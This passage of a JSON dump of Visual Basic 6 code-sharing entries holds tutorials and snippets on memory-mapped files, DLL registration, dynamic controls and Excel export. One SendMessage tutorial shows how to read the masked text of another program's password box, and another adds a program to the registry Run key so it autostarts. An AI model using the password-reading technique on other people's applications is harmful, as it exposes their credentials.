0, PAGE_READWRITE, 0, FileSize, vbEmpty)\n lpFileBase = MapViewOfFile(hFileMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0 * FileSize)\n GetViewOfFile = lpFileBase\nEnd Function\nFunction FreeViewOfFile() As Long\nDim ret As Long\n ' Clear the temporary array descriptor\n ' This may be necessary under NT4.\n CopyMemory ByVal VarPtrArray(mArray), 0&, 4\n \n FreeViewOfFile = UnmapViewOfFile(lpFileBase)\n If FreeViewOfFile = 0 Then Debug.Print \"Error: \", Err.LastDllError\n' If FreeViewOfFile = 0 Then Err.Raise Err.LastDllError, \"FreeViewOfFile()\", \"Memory unmapping failed\"\n ret = CloseHandle(hFileMapping)\n ret = CloseHandle(hFile)\nEnd Function\nFunction checkMMA()\nDim n As Long, m As Long, i As Long, j As Long\nDim Filename As String, ElemSize As Long\n Filename = \"c:\\kill.me\"\n n = 10 ^ 6: m = 10\n ElemSize = 8 ' size of Double is 8\n \n 'Create 2D Array(m,n) of Double,\n Create2DMMArray Filename, ElemSize, n, m\n \n 'random acess to our file\n For i = 0 To 1000\n mArray(Rnd * n Mod n, Rnd * m Mod m) = i\n Next i\n' close down, destroy array\n' this MUST be called\nFreeViewOfFile\nEnd Function\n"},{"WorldId":1,"id":20979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25154,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13542,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22744,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22005,"LineNumber":1,"line":" Update: \nAlready since submitting the article (About an hour ago), there has been a lot of feedback and we've collectively found the following things: \n1) The problem only appears in the IDE. \n2) The FIRST time you use Int in the IDE, it works correctly. Subsequent calls return incorrect results. \nThanks to Sean Street for his feedback. \nI'm going to clear out some of the comments to lessen the confusion now that we seem to have a better grip on the problem. \nOriginal Article Follows: \nProblem: While tracing through some game code the other day, I noticed a wrong number. I very carefully evaluated every part of the statement, and discovered that the bug lay within the Int function itself. You can reproduce this in the immediate window in one line.\n \nGo to the Immediate (Debug) window and type the following: \n? Int(0.7 * 10) \nIt will say 6. EXCUSE ME? The integer of 7 is six? If you put 7 in the parenthesis, you will get the answer 7. It is only when you pass a calculation into the function that the results come back wrong. \nThe truly amazing part is that Microsoft has alrady found and fixed this bug once before. Way back in version 4. Check out this KB article: \n<A href=\"http://support.microsoft.com/support/kb/articles/Q138/5/22.asp\">http://support.microsoft.com/support/kb/articles/Q138/5/22.asp</A> \nSolution: \nWell, I guess we wait for Microsoft to fix it AGAIN, but in the meantime we can write a function to \"wrap\" the int function so that you are not passing it a calculation any more. I've called mine mInt for \"Make Integer\" because CInt is already taken (And by the way, behaves differently as I'll describe below). \nPublic Function mInt(ByVal Value As Double) As Integer \n┬á┬ámInt = Int(Value) \nEnd Function \nBy passing the calculation into this function, we are forcing it to evaluate down into a single variable (Value). This seems to eliminate the problem. \nAs I said above you can't just use CInt instead of Int because they act differently. In immediate mode type the following: \n? CInt(4.5) \nYou get 4, right? Now type: \n? CInt(4.6) \nYou get 5. CInt rounds numbers when converting them, so it's useless for replacing Int which simply truncates the fractional portion of a number. \nRant: This sort of bug is simply unacceptable. To get incorrect results from one of the basic, fundamental building blocks of a language calls the reliability of the whole language into question. \nGet this, Microsoft doesn't even PRETEND that they are going to acknowledge your bug report any more. Most companies respond to bug reports, but M$ doesn't even have a spot on the form to put your email address any more. This guarantees that you'll never get so much as a \"Thank you\" from the evil empire. I can also pretty much guarantee that you won't see this bug acknowledged on the website until it has been fixed. \nMG2"},{"WorldId":1,"id":28524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23368,"LineNumber":1,"line":"Private Function bDebugMode() As Boolean\n On Error GoTo ErrorHandler\n'in compiledmode the next line is not \n'available, so no error occurs !\n Debug.Print 1 / 0\n \n Exit Function\n \nErrorHandler:\n bDebugMode = True\n \nEnd Function\n"},{"WorldId":1,"id":13566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14964,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13745,"LineNumber":1,"line":"Dim WithEvents dynbutton As VB.CommandButton\nDim WithEvents dynLabel As VB.Label\nPrivate Sub Form_Load()\n Form2.Show\n Form2.Top = Form1.Top\n Form2.Left = Form1.Left + Form1.Width\nEnd Sub\nPrivate Sub Command1_Click()\n Call dynObjects\nEnd Sub\n \nPublic Sub dynObjects()\n 'Define label location and properties\n Set dynLabel = Form2.Controls.Add(\"VB.label\", \"dynLabel\", Form2.Picture1)\n dynLabel.Caption = \"Dynamically added label!\"\n dynLabel.Visible = True\n dynLabel.BorderStyle = 1\n \n 'Define CommandButton location and properties\n Set dynbutton = Form1.Controls.Add(\"VB.commandbutton\", \"dynButton\", Form1)\n dynbutton.Caption = \"Dynamic Button\"\n dynbutton.Visible = True\n dynbutton.Width = 1275\n dynbutton.Font = \"MS Sans Serif\"\n End Sub\nPrivate Sub dynButton_click()\n MsgBox (\"You have pressed a dynamically added button\")\nEnd Sub"},{"WorldId":1,"id":23288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13630,"LineNumber":1,"line":"'''By Herman Liu, EDITED by Micah Epps: MTEXX@zebra.net\nOption Explicit\nPrivate Declare Function GetFileVersionInfoSize Lib \"Version.dll\" Alias \"GetFileVersionInfoSizeA\" (ByVal lptstrFilename As String, lpdwHandle As Long) As Long\nPrivate Declare Function GetFileVersionInfo Lib \"Version.dll\" Alias \"GetFileVersionInfoA\" (ByVal lptstrFilename As String, ByVal dwhandle As Long, ByVal dwlen As Long, lpdata As Any) As Long\nPrivate Declare Function LoadLibrary Lib \"kernel32\" Alias \"LoadLibraryA\" (ByVal lpLibFileName As String) As Long\nPrivate Declare Function GetProcAddress Lib \"kernel32\" (ByVal hModule As Long, ByVal lpProcName As String) As Long\nPrivate Declare Function CreateThread Lib \"kernel32\" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long\n'Private Declare Function TerminateThread Lib \"kernel32\" (ByVal hThread As Long, ByVal dwExitCode As Long) As Long\nPrivate Declare Function WaitForSingleObject Lib \"kernel32\" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long\nPrivate Declare Function GetExitCodeThread Lib \"kernel32\" (ByVal hThread As Long, lpExitCode As Long) As Long\nPrivate Declare Sub ExitThread Lib \"kernel32\" (ByVal dwExitCode As Long)\nPrivate Declare Function FreeLibrary Lib \"kernel32\" (ByVal hLibModule As Long) As Long\nPrivate Declare Function CloseHandle Lib \"kernel32\" (ByVal hObject As Long) As Long\n\nPublic Enum DLLRegServiceResults\n regSuccess = 0\n regFailLoadLib\n regFailCreateThread\n regThreadTimeout\nEnd Enum\n\nPublic Function PrintDLLRegServiceResults(ByVal Value As DLLRegServiceResults) As String\n Dim Temp As String '''typing the above sux\n \n Select Case Value\n Case regSuccess: Temp = \"success\"\n Case regFailLoadLib: Temp = \"failed to load library\"\n Case regFailCreateThread: Temp = \"failed to create thread\"\n Case regThreadTimeout: Temp = \"thread timed out\"\n Case Else: Temp = \"UNKNOWN\"\n End Select\n PrintDLLRegServiceResults = Temp\nEnd Function\n \nPublic Function DLLRegisterService(ByVal Filespec As String, ByVal RegVsUnreg As Boolean) As DLLRegServiceResults\n '''DOS filenames (8.3 / no spaces) are NOT necesary! :)\n Dim hLib As Long ' Store handle of the control library\n Dim lpDLLEntryPoint As Long ' Store the address of function called\n Dim lpThreadID As Long ' Pointer that receives the thread identifier\n Dim lpExitCode As Long ' Exit code of GetExitCodeThread\n Dim mResult As Long\n Dim hThread\n Const RegProcName = \"DllRegisterServer\"\n Const UnregProcName = \"DllUnregisterServer\"\n \n '''Load the control DLL, i. e. map the specified DLL file into the address space of the calling process\n hLib = LoadLibrary(Filespec)\n If hLib = 0 Then\n DLLRegisterService = regFailLoadLib\n Exit Function\n End If\n '''Find and store the DLL entry point, i.e. obtain the address of the “DllRegisterServer” or \"DllUnregisterServer\" function (to register or deregister the server’s components in the registry)\n lpDLLEntryPoint = GetProcAddress(hLib, IIf(RegVsUnreg, RegProcName, UnregProcName))\n \n If lpDLLEntryPoint = vbNull Then\n FreeLibrary hLib\n DLLRegisterService = regFailLoadLib\n Exit Function\n End If\n \n '''Create a thread to execute within the virtual address space of the calling process\n hThread = CreateThread(ByVal 0, 0, ByVal lpDLLEntryPoint, ByVal 0, 0, lpThreadID)\n If hThread = 0 Then\n FreeLibrary hLib\n DLLRegisterService = regFailCreateThread\n Exit Function\n End If\n \n '''Use WaitForSingleObject to check the return state (i) when the specified object is in the signaled state or (ii) when the time-out interval elapses. This function can be used to test Process and Thread.\n mResult = WaitForSingleObject(hThread, 10000)\n If mResult <> 0 Then\n FreeLibrary hLib\n lpExitCode = GetExitCodeThread(hThread, lpExitCode)\n ExitThread lpExitCode\n DLLRegisterService = regThreadTimeout\n Exit Function\n End If\n \n '''We don't call the dangerous TerminateThread(); after the last handle to an object is closed, the object is removed from the system.\n CloseHandle hThread\n FreeLibrary hLib\n DLLRegisterService = regSuccess\nEnd Function\n"},{"WorldId":1,"id":13633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13645,"LineNumber":1,"line":"DirPath = [Path of file]\n On Error GoTo err:\n X% = Shell(DirPath, 1): NoFreeze% = DoEvents(): Exit Sub\n Exit Sub\nerr:\n If err.Number = 6 Then Exit Sub\n MsgBox \"Please make sure you have the correct path and then try again.\""},{"WorldId":1,"id":13652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21950,"LineNumber":1,"line":"While browsing PSC to figure out how to make an MP3 player, all I saw were big huge ZIP files with skins and stuff. After sifting through that code, I made a library to simplify the playing/pausing/stopping of MP3s. Put all this in a module called MP3Player: \n========================================== \n<pre>\nPrivate Declare Function mciSendString Lib \"winmm.dll\" Alias \"mciSendStringA\" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long\nPublic Sub PlayMP3(filename As String)\n mciSendString \"Open \" & filename & \" Alias MM\", 0, 0, 0\n mciSendString \"Play MM\", 0, 0, 0\nEnd Sub\nPublic Sub PauseMP3()\n mciSendString \"Stop MM\", 0, 0, 0\nEnd Sub\nPublic Sub StopMP3()\n mciSendString \"Stop MM\", 0, 0, 0\n mciSendString \"Close MM\", 0, 0, 0\nEnd Sub</pre> \n========================================== \nWhen playing a file, if it has spaces in the name, be sure to surround it with Chr(34)!\nIf you can't figure out how to use those, then you obviously aren't worthy of using them :)"},{"WorldId":1,"id":23229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13674,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24335,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24126,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>API TUTORIAL for Beginners</title>\n</head>\n<body bgcolor=\"#C0C0C0\">\nAPI TUTORIAL FOR BEGINNERS-II\nThe SendMessage API\n \nThe SendMessage Api is one of the\nmost powerful api functions . Before we take a look at it's uses and\nsyntax let me give you a brief overview of how the windows os works.\nThe Windows Operating\nSystem is a message based operating system .By saying message based means\nthat whenever the operating system (os) has to comunicate with applications\nor two applications need to communicate/send data among themselves they do\nso by sending messages to one another. For eg when an application is to be \nterminated the os sends a WM_DESTROY message to that application, also when you\nare adding an item to a listbox ,the application/os sends a LB_ADDSTRING message\nto the listbox . \nWhile programming in VB the\nsendmessage api is not of much use when u want to manipulate objects controls in\nyour own application.But say u wanted to change the title of some other\napplication or wanted to get the text from a textbox of another application or\nwant to terminate another application ,or set the text in a text box of another\napplication. The uses are endless if u want to play around with your\nsystem.Also if you are planning to move over to win32 programming using \nc++ you just cannot escape the sendmessage api.\nLet us look a the declaration of\nthe sendmessage api\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long \n\n The SendMessage api\nfunction basically takes 4 parameters\n<ol>\n <li>\n hwnd-The handle of the window\n to which the message is being sent</li>\n <li>\n wMsg-The message that is\n being sent to the window.</li>\n <li>\n wParam-Parameter to be sent\n along with the message(depends on the message)</li>\n <li>\n lParam-Parameter to be sent\n along with the message(depends on the message)</li>\n</ol>\nExample1\nLet us see a practical\nimplementation of this api . Let us assume that we want to get the ***\nmasked text from a password textbox of a window!!! .We need to know a few things\nbefore we can do this. The first thing we need to know is the handle\nto the textbox window. One way of getting this is by using the\nwindowfrompoint api.Check my first tutorial on how to use this api and get the\nwindow handle of the textbox.\nOnce we have this handle we need\nto send a WM_GETTEXTLENGTH message to the textbox .This message is essentially\nsent to query the textbox and get the length of the text string in that\ntextbox.After we know the length of the string we have to send a WM_GETTEXT\nmessage to the textbox and the textbox will return the text as the result .This\nis how it is done\nAlong with the declaration of the sendmessage api you need to\ndeclare the 2 message constants that we are going to use\nPrivate Const WM_GETTEXT = &HD \n \nPrivate Const WM_GETTEXTLENGTH = &HE\nPut the following in any event of a control .In this example we\nare putting it in a command click event\nPrivate Sub command1_click() \nDim length As Long \nDim result As Long \nDim strtmp As String \nlength = SendMessage(hwnd, WM_GETTEXTLENGTH, ByVal 0, ByVal 0) + 1 \nstrtmp = Space(length) \nresult = SendMessage(hwnd, WM_GETTEXT, ByVal length, ByVal strtmp) \n\nEnd Sub\nhere hwnd is the handle of the password textbox.\nExample 2\nIn this example we will try to change the title of any\napplication ,in this case it will be a windows notepad application.\nAs was the case previously we have to get the handle of the\nnotepad window .There are 2 ways to get this one is by using the windowfrompoint\napi and the other is by using the findwindow api.The findwindow api returns the\nhandle of the window whose title has been specified in the function.\nAfter we get the handle of this window we do a sendmesaage\nfunction\ndim result as long\ndim str1 as string\nstr1="Venky"\nresult = SendMessage(hwnd, WM_SETTEXT, ByVal 0, ByVal str1)\nUsing almost the similar techniques you can also put your own\ntext in the edit window of the notepad application.\n \nIn this tutorial we have seen a few uses of the\nsendmessage api.You can try out any of the numerous messages in the windows os\nsystem on any applciation. Sendmessage is in other words a bridge for\ncommunication between your application and another application\nQuestions,comments send them to <a href=\"mailto:venky_dude@yahoo.com\">venky_dude@yahoo.com</a>\n\n \n \n \n</body>\n</html>\n"},{"WorldId":1,"id":23522,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Creating controls at runtime</title>\n</head>\n<body>\nCreating controls at runtime -I\nMany times we are faced with a situation where we want to create controls such as\nTextBox , CommandButton, Label at runtime in Visual Basic . Say u wanted to create\na textBox or an array of Option Buttons but you don't know how many u might need at that point in the program \n. Creating controls at runtime allows you the flexibility to do this and more.\nYou can create and use all the common controls that u see in your toolbar very\neasily. The first step in creating a \ncontrol at runtime involves declaring a variable which will 'hold' the control. \n \n \n 1. Declaration: \n \nIt is always better to declare this variable in the general declaration section of a form so that \nit can be used through out the form or declare it globally in a module(.bas file), if u have a \nmodule added to your project. A good idea here is to name the variable using standard conventions. \nUsing the \n \ntxt prefix for a TextBox \ncmd prefix for a CommandButton \nlbl prefix for a Lable \nchk prefix for a CheckBox \nopt prefix for an OptionButton \n \nand so on. For e.g.\nDim txtInput \nDim cmdInput \nDim lblInput\n \n\n \nThe Next Step involves setting the variable to a particular control like TextBox or a \nCommandButton \n \n \n2. Preparing the variable to hold the control: \n \nThis is the most important step while creating a control at runtime. The common format for \ncreating a control is as follows \n \nSet varname=frmName.Controls.Add(Control Type,Control Name,frmName) \n \nHere varname is the variable to which you want to set the control to ,frmName is the form name to \nwhich you want to add the control, Control Type is the type of control i.e \"VB.TextBox\" for a text \nbox,\"VB.CommandButton\" for a command button and so on .Control Name can be the same as the \nvariable name or any name. \n \n \nSo if u wanted to create a textbox txtInput you would have to do it this way \nSet txtInput=frmTest.Controls.Add("VB.TextBox","txtInput",frmTest) \n \nTo create a CommandButton \nSet cmdInput=frmTest.Controls.Add("VB.CommandButton","cmdInput",frmTest) \n \nTo create a Label \nSet lblInput=frmTest.Controls.Add("VB.Label","lblInput",frmTest) \n \nTo create a CheckBox \nSet chkInput=frmTest.Controls.Add("VB.CheckBox","chkInput",frmTest) \n \nTo create an OptionButton \nSet optInput=frmTest.Controls.Add("VB.OptionButton","chkInput",frmTest) \n \n \nSimilarly you can add a ListBox,ComboBox,PictureBox etc \n \n \n \n3. Setting the properties of the control. \n \n \nWell now that you have created the control ,you want it to be displayed,\nvisible.You will need to \nset a few properties before you can display the control. The 2 most important properties are the \ncontrolname.Left and controlname.Top properites. These 2 properties determine where your control \nwill be placed on the form. It is generally a very good idea to set these properties with respect \nto the form on which they are present. For ex \n \ntxtInput.Left=frmTest.Left + 100 Or \ntxtInput.Left=frmTest.Left/2 \n \nand \n \ntxtInput.Top=frmTest.Top + 100 Or \ntxtInput.Top=frmTest.Top/2 \n \nThere are 2 more properites which are equally important.They are the controlname.Width and \ncontrolname.Height properites. \n \ntxtInput.Height=25 \ntxtInput.Width=50 \nIn addition you may set any properties that u might need. \n \n \n4. Displaying the control. \n \nThis is the last step where you have got to set the .Visible property to true in order to display \nthe control. \n \nEg \ntxtInput.Visible=True \ncmdInput.Visible=True \n \n \n \nThe final code should look something like this if u want to add a textbox at\nruntime \nIn the General Declaration \nDim txtInput \n \nAnd in any event like the form_load event or command_click event for e.g. \nput this \n \nSet txtInput=frmTest.Controls.Add("VB.TextBox","txtInput",frmTest) \ntxtInput.Left=frmTest.Left/2 \ntxtInput.Top=frmTest.Top/2 \ntxtInput.Height=25 \ntxtInput.Width=50 \ntxtInput.Visible=True \n \n\nAfter you have created the controls you can use them as you use your controls\nnormally. You can set the caption, get the text inputted just as you you would\ndo for any control created at design time.\n \n \nMany of you must be wondering that now We have created the controls and can set properties, but\nhow do we react to the events of the controls, How do we detect if the new commandbutton that was\ncreated is clicked. This requires an advanced concept called subclassing. I shall discuss about\nsubclassing with respect to our controls created at runtime in my next article. \n \n \nIf u have any comments/questions/suggestions send me a mail at <a href=\"mailto:venky_dude@yahoo.com\">venky_dude@yahoo.com</a>\n.Also check out my homepage for some cool <a href=\"http://www.geocities.yahoo.com/venky_dude/venkwork.htm\">VB\nCodes</a> \n \n \n\n</body>\n</html>\n"},{"WorldId":1,"id":26397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23276,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Start Application as windows starts</title>\n</head>\n<body>\nWe shall use a few api function which are \n \n \nPrivate Declare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long \n \nPrivate Declare Function RegSetValue Lib \"advapi32.dll\" Alias \"RegSetValueA\" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long \n \n \n \n \nThese api's are used for the following purpose \n \n \n1.RegOpenKey - To open a key for reading/writing values \n2.RegSetValue - To write values into a key \n \n \nWe shall also use a few constants \n \nPrivate Const HKEY_CURRENT_USER = &H80000001 \n \nPrivate Const REG_SZ = 1 \n \n \nIn order to make our applications start when windows starts we have to add an entry in the \n \nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \n \n \n \nTo make an entry into a key we need to get the 'handle' or a unique identifier for that key.We get this 'unique id by opening the key.We do this in the following way \n \nDim result As Long \nDim keyres As Long \nresult=RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",keyres) \n \n \nIf the function executed correctly we will get 0 as result and keyres will contain the unique id for that key. \n \nAfter opening the key we will put in a value into it .We can do it this way \n \n \nDim file As String \nDim entry as string \nentry = \"Myprog\" \nfile = \"c:\\myprog\\myprog.exe\" \nresult = RegSetValueEx(keyres, entry, 0, REG_SZ, ByVal file, Len(file)) \n \n \nyou can input your program's path into file and run the function.And entry is the name you give to the value you are trying to put in.If the function executed successfully result will contain 0 .Restart your computer and your program should start as soon as windows starts.Send your comments to<a href=\"mailto:venky_dude@yahoo.com\">\nvenky_dude@yahoo.com </a> .Visit my <a href=\"http://www.geocities.com/venky_dude/venkwork.htm\"> homepage</a>\nfor some cool vb codes. \n \n\n</body>\n</html>\n"},{"WorldId":1,"id":23322,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>New Page 1</title>\n</head>\n<body>\nThe Api used for this are\n \nPrivate Declare Function GetVersionEx Lib \"kernel32\" Alias \"GetVersionExA\" (lpVersionInformation As OSVERSIONINFO) As Long \n\nPrivate Type OSVERSIONINFO \n dwOSVersionInfoSize As Long \n dwMajorVersion As Long \n dwMinorVersion As Long \n dwBuildNumber As Long \n dwPlatformId As Long \n szCSDVersion As String * 128 ' Maintenance string for PSS usage \nEnd Type\nThe GetVersion Api just takes one parameter of type OSVERSIONINFO. The\nOSVERSIONINFO structure will contain all the details about the OS after\nGetVersionApi has been successfully executed. The parameters of \nOSVERSIONINFO are \n<ul>\n <li>dwMajorVersion which gives info about the major version of the OS .This\n value is 3 for win Nt 3.51, 4 for win95/98/me and win nt4 and it is 5\n for win2k.</li>\n <li>dwMinorVersion ,another parameter to differentiate the OS further .It is 0\n for win 95,10 for win 98 ,98 for win ME,0 for win2k ,0 for win\n nt4 and 51 for win nt 3.51</li>\n <li> dwPlatformId .This is an important parameter which helps in\n further differentiating the varios win OS.It is 1 for win 95/ 98/ME ,and 2\n for win NT </li>\n</ul>\nOnce Declared we can use this in the following way\nDim os As OSVERSIONINFO \n \nos.dwOSVersionInfoSize = Len(os) 'Assign some\nsize to store the received information \n \nDim m As Long \nDim mv As Long \nDim pd As Long \nDim miv As Long \nm = GetVersionEx(os) 'The\nactual API call to GetVersionEx \nmv = os.dwMajorVersion \npd = os.dwPlatformId \nmiv = os.dwMinorVersion \nIf pd = 2 Then MsgBox \" OS is Windows NT\" & mv & \".\" & miv \nIf pd = 1 Then \nIf miv = 10 Then MsgBox \" OS is Windows 98 \" \nIf miv = 0 Then MsgBox \" OS is Windows 95 \" \nIf miv = 90 Then MsgBox \" OS is Windows ME \" \nEnd If\nThis can be quite useful if you are making OS specific Applications. Send\nyour comments to <a href=\"mailto:venky_dude@yahoo.com\">venky_dude@yahoo.com</a>.\n.Visit my <a href=\"http://www.geocities.com/venky_dude/venkwork.htm\">homepage</a>\nfor some cool VBcodes. \n \n</body>\n</html>"},{"WorldId":1,"id":23190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13733,"LineNumber":1,"line":"Public Function ExportToExcel(lvw As MSComctlLib.ListView) As Boolean\n Dim objExcel As Excel.Application\n Dim objWorkbook As Excel.Workbook\n Dim objWorksheet As Excel.Worksheet\n Dim objRange As Excel.Range\n \n Dim lngResults As Long\n Dim i As Integer\n Dim intCounter As Integer\n Dim intStartRow As Integer\n Dim strArray() As String\n Dim intVisibleColumns() As Integer\n Dim intColumns As Integer\n Dim itm As ListItem\n 'If there are no selected items in the listview control\n If lvw.SelectedItem Is Nothing Then\n MsgBox \"There aren't any items in the listview selected.\" _\n , vbOKOnly + vbInformation, \"Export Failed\"\n GoTo ExitFunction\n End If\n 'Ask the user if they want to export just the selected items\n lngResults = MsgBox(\"Do you want to export only the selected rows to Excel? \" _\n , vbYesNoCancel + vbQuestion, \"Select Rows For Export\")\n If lngResults = vbCancel Then\n GoTo ExitFunction\n End If\n \n Screen.MousePointer = vbHourglass\n \n 'Try to create an instance of Excel\n On Error Resume Next\n Set objExcel = New Excel.Application\n If Err.Number > 0 Then\n MsgBox \"Microsoft Excel is not loaded on this machine.\", vbOKOnly + vbCritical, \"Error Loading Excel\"\n GoTo ExitFunction\n End If\n \n On Error GoTo HANDLE_ERROR\n ' Don't allow user to affect workbook\n objExcel.Interactive = False\n \n If objExcel.Visible = False Then\n objExcel.Visible = True\n End If\n \n objExcel.WindowState = xlMaximized\n \n Set objWorkbook = objExcel.Workbooks.Add\n Set objWorksheet = objWorkbook.Sheets(1)\n \n intCounter = 0\n Set objRange = objWorksheet.Rows(1)\n objRange.Font.Size = 10\n objRange.Font.Bold = True\n For i = 1 To lvw.ColumnHeaders.Count\n If lvw.ColumnHeaders(i).Width <> 0 Then\n ' Create an array of visible column indexes\n intColumns = intColumns + 1\n ReDim Preserve intVisibleColumns(1 To intColumns)\n intVisibleColumns(intColumns) = i\n \n objRange.Cells(1, intColumns) = lvw.ColumnHeaders(i).Text\n \n With objWorksheet.Columns(intColumns)\n \n Select Case LCase$(lvw.ColumnHeaders(i).Tag)\n ' If tag is empty, format as text\n Case \"string\", \"\"\n .NumberFormat = \"@\"\n Case \"number\"\n .NumberFormat = \"#,##0.00_);(#,##0.00)\"\n .HorizontalAlignment = xlRight\n Case \"date\"\n .NumberFormat = \"mm/dd/yyyy\"\n .HorizontalAlignment = xlRight\n End Select\n \n End With\n \n End If\n Next i\n ' Dimension array to number of listitems\n ReDim strArray(1 To lvw.ListItems.Count, 1 To intColumns)\n \n intCounter = 0\n intStartRow = 2\n For Each itm In lvw.ListItems\n ' A response of vbNo meant to export all the items\n If lngResults = vbNo Or itm.Selected Then\n ' increment the number of selected rows\n intCounter = intCounter + 1\n For i = 1 To intColumns\n If intVisibleColumns(i) = 1 Then\n strArray(intCounter, 1) = itm.Text\n Else\n strArray(intCounter, i) = itm.SubItems(intVisibleColumns(i) - 1)\n End If\n Next i\n End If\n Next itm\n \n ' Send entire array to Excel range\n With objWorksheet\n .Range(.Cells(2, 1), _\n .Cells(2 + intCounter - 1, intColumns)) = strArray\n End With\n \n objWorksheet.Columns.AutoFit\n objExcel.Interactive = True\n \n ExportToExcel = True\nExitFunction:\n Screen.MousePointer = vbDefault\n Exit Function\nHANDLE_ERROR:\n MsgBox \"Export to Excel failed. Encountered thej following Error\" & vbCrLf & vbCrLf & _\n Err.Number & \": \" & Err.DESCRIPTION, vbOKOnly + vbCritical, \"Error Exporting To Excel\"\n Set objRange = Nothing\n Set objWorksheet = Nothing\n Set objWorkbook = Nothing\n objExcel.Quit\n 